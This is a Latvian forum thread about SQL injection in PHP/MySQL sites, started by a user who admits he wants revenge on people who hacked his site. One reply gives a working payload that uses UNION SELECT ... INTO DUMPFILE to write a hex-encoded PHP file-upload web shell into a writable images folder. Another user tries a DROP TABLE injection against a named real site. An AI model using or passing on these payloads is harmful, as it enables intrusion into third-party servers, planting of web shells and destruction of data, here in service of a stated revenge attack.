Jump to content
php.lv forumi

sql injection


hack_my_page

Recommended Posts

Esmu saskāries ar vienu problēmu lapā.

Atrisinājumu zinu (intval un mysql_real_escape_string), bet tomēr gribu zināt kā viss strādā (intereses pēc un ok, nemelošu - atriebības pret tiem, kas uzhakoja man citu lapu)

Tātad ir kverijs

$blabla = mysql_query("select * from tabulas_nosaukums where id = $_GET['id']"); // bez or die(mysql_error();

Ja es piemēram nezinu viņu šo jauno tabulas_nosaukums, tad kādā veidā es viņu varu dabūt?

?kaukas=12
==
?kaukas=12' (??)

 

 

Ja uzrakstu kaut ko tādu

 

tad izmet erroru vnk

 

' AND 1=(SELECT COUNT(*) FROM tabname)
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ... on line 140
Edited by hack_my_page
Link to comment
Share on other sites

Sākumā ?id=1', tad ieraugam kurā failā ir error's. Paskatamies, kur atrodas lietotāju aploudotas bildes un atrodam mapi, kurai ir rakstītšanas tiesības (visbiežāk visi uzmet chmod 0777, nevis, piemēram, 0775 vai vēl mazāk).

Un tad jau varam uztaisīt kaut vai php failu, kurš ļaus upload'ot da jebko.

 

?id=1 UNION SELECT '3c3f696628245f46494c45535b2766696c65275d297b6d6f76655f75706c6f616465645f6669

6c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c222f7661722f7777772

f6c6170612f696d616765732f222e245f46494c45535b2766696c65275d5b276e616d65275d293b7d

3f3e3c666f726d20616374696f6e3d223f22206d6574686f643d22706f73742220656e63747970653

d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522

206e616d653d2266696c65223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3

e' INTO DUMPFILE '/var/www/lapa/images/upload.php'

Link to comment
Share on other sites

Atkarīgs no tā, kā strādā webserveris. Ja mape, kur atrodas faili nepieder lietotājam, ar kura tiesībām strādā webserveris un abi lietotāji arī neatrodas tajā pašā grupā, tad nekas neatliek, kā likt 777 (vai palūgt servera uzturētājam, lai sataisa tā, ka mape kur atrodas izpildāmie faili pieder webservera lietotājam).

Taču, ja tavi faili glabājas mapē, kas "pieder" webserver'a "userim", droši var likt 0755, kas nozīmēs, ka faila owneris var darīt ar failu/mapi visu, un pārēji- tikai lasīt un izpildīt.

Lai saprastu, ko nozīmē tie skaitļi 777 un 755 - http://www.onlineconversion.com/html_chmod_calculator.htm

Link to comment
Share on other sites

  • 3 weeks later...

Spridzinu augšā jau papuvušo tematu.

 

Teiksim ir lapa

http://cstrike.chill.lv?page=cups&id=36

Pieliekot ' izmer erroru

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

 

Kādēļ uzrakstot

 

http://cstrike.chill.lv?page=cups&id=36' DROP TABLE gamefarm_cups;

Netiek nodropota tabula?

Edited by anonīms
Link to comment
Share on other sites

Plus, kverijus jāatdala ar semikolu (;). Taču php neļaus tev izpildīt 2 kverijus caur vienu mysql_query() funkciju. Vienīgais, ko tu vari izdarīt caur injekcijām php bāzētā lapā, ir:

1) uzstādīt papildus nosacījumu selektā

2) izmantot UNION, kas arī tiek darīts visbiežāk

Link to comment
Share on other sites

  • 3 months later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...